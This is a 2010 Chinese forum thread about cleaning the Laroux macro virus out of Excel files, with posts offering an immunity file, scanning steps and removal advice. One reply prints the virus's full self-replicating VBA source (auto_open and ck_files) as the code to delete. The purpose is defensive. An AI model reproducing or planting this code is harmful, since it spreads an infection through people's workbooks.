EXCEL中了恶意程序(X97M.Laroux.DX1)怎么解决？

双飞叶 · 发表于 2010-2-24 20:03

EXCEL中了恶意程序(X97M.Laroux.DX1)，重装了系统后也是如此，怎么解决？？

lfspecter · 发表于 2010-2-25 03:48

文件已经被病毒破坏。
不知道用unlocker是否可以

双飞叶 · 发表于 2010-3-1 20:29

原帖由 lfspecter 于 2010-2-25 03:48 发表
文件已经被病毒破坏。
不知道用unlocker是否可以

问题就是文件不能删，而且我把里面的内容复制到新的文档，也没用，

双飞叶 · 发表于 2010-3-4 20:40

问题解决了，删除宏就可以了

xlf22 · 发表于 2010-3-15 16:43

嘿嘿，我也中着了，终于解决了

libaoshui · 发表于 2010-5-7 17:40

一时清楚容易，但是有时不知什么原因，不知不觉又沾染上了“宏病毒”，很是不爽！
总感觉没有彻底解决，也不知该怎么彻底解决。

bengdeng · 发表于 2010-5-27 11:54

可以试试这个免疫文件:

RESULTS.rar (14.05 KB, 下载次数: 83)
RESULTS.XLS(Macro.Excel.Laroux.cs恶意程序)免疫文件说明
作者：bengdeng | 来源：Excel吧 | 时间：2010-04-17
一、Macro.Excel.Laroux.cs恶意程序简介
病毒类型：宏病毒
病毒行为：
1. 将工作表的激活事件指定为“ck_files”。
2. 在 Excel 的启动目录下生成“RESULTS.XLS”文件并隐藏地打开以便调用其“ck_files”函数。
3. 在打开的原来已包含宏代码的Excel文件时，插入一个Results模块。

二、Macro.Excel.Laroux.cs恶意程序免疫文件使用说明
Macro.Excel.Laroux.cs恶意程序免疫文件下载地址
http://www.excelba.com/Soft/Html/143.html
下载Macro.Excel.Laroux.cs恶意程序免疫文件后,请关闭Excel
然后把免疫文件覆盖Excel启动目录文件中的RESULTS.XLS
Excel启动文件夹目录为：
C:\Documents and Settings\当前用户名\Application Data\Microsoft\Excel\XLSTART
其中的当前用户名为你当前电脑的用户名
PS：（如果打开此文件时启用宏，则上面的文件夹路径已自动更新并保存）
注意:此免疫文件名称不能改名，包括扩散名.XLS在内都要为大写——即RESULTS.XLS
如果你不想再使用此文件,请进入Excel启动文件夹中删除此RESULTS.XLS文件即可。

三、免疫文件提示信息说明
当打开包含有Macro.Excel.Laroux.cs恶意程序的文件时
免疫程序会提示是否删除！
如果点击是则删除文件中的Macro.Excel.Laroux.cs恶意程序模块！
并提示确认文件完整性后保存！！切记要自己手动保存！
如果点击否则没删除文件中的Macro.Excel.Laroux.cs恶意程序！
您可以自行在VBA编辑器中删除results模块后保存!
当打开包含有Macro.Excel.Laroux.cs恶意程序免疫工作表的文件时
免疫程序会显示此工作表
(注：此工作表为Macro.Excel.Laroux.cs恶意程序运行后从免疫文件中复制并隐藏的）
请确认此工作表为无用工作表后，删除工作表再保存！！

四、免疫文件与Macro.Excel.Laroux.cs恶意程序生成的RESULTS.XLS文件的区别
1、两者都为RESULTS.XLS，但免费文件打开时看到的是使用说明RESULTS工作表
而恶意程序生成的RESULTS.XLS文件打开时为隐藏，你可以在窗口/取消隐藏中看到隐藏的文件。
2、免疫文件中包含一个Results工作表，一个Main_Excelba模块和一个Excelba类模块
而恶意程序生成的RESULTS.XLS文件包含一个Sheet1工作表和一个Results模块。
3、免疫文件让杀毒软件查杀的结果为安全文件
而恶意程序生成的RESULTS.XLS文件查杀结果为不安全文件。

五、快速利用360杀毒确认Excel文件是否包含Macro.Excel.Laroux.cs恶意程序
首先在开始/搜索中，按条件为 *.xls 搜索出所有的Excel文件
然后在按Ctrl+A全选这些文件
再右击利用右键菜单中的使用 360杀毒扫描查毒
如果在查杀中的威胁名称为：恶意程序(X97M.Laroux.DX1)
就是包括有Macro.Excel.Laroux.cs恶意程序的Excel文件
然后注意！！不要点开始处理
(如果点了开始处理360会删除整个文件包括你有用的内容！！你可以在360杀毒的文件隔离区恢复)
把Excel的安全级别设定为中，一个个打开这些文件
并在打开文件时，禁用宏
然后就可以按免疫文件提示只删除恶意程序而不会删除原来有用的内容。

转载请注明:本文来自:Excel吧 (www.excelba.com) 详细出处参考：http://www.excelba.com/Art/Html/351.html

wxdzhm · 发表于 2010-9-7 16:43

到底怎么解决..这个病毒嘛..文件不能删除呀..

kyezzd · 发表于 2010-9-13 13:50

删掉模块里的如下代码即可
Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "RESULTS.XLS")
If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
      .Title = ""
      .Subject = ""
      .Author = ""
      .Keywords = ""
      .Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
      , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
      False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
      Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
      Workbooks(n4$).Sheets("results").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case Else
End Select
End Sub

双飞叶 · 发表于 2010-11-9 09:50

原帖由 bengdeng 于 2010-5-27 11:54 发表
可以试试这个免疫文件:724481
RESULTS.XLS(Macro.Excel.Laroux.cs恶意程序)免疫文件说明
作者：bengdeng | 来源：Excel吧 | 时间：2010-04-17
一、Macro.Excel.Laroux.cs恶意程序简介
病毒类型：宏病毒
病毒行 ...

以后再有此问题试试你的方法

		自动登录	找回密码
密码			免费注册

[求助] EXCEL中了恶意程序(X97M.Laroux.DX1)怎么解决？

X97M.Laroux

浏览过的版块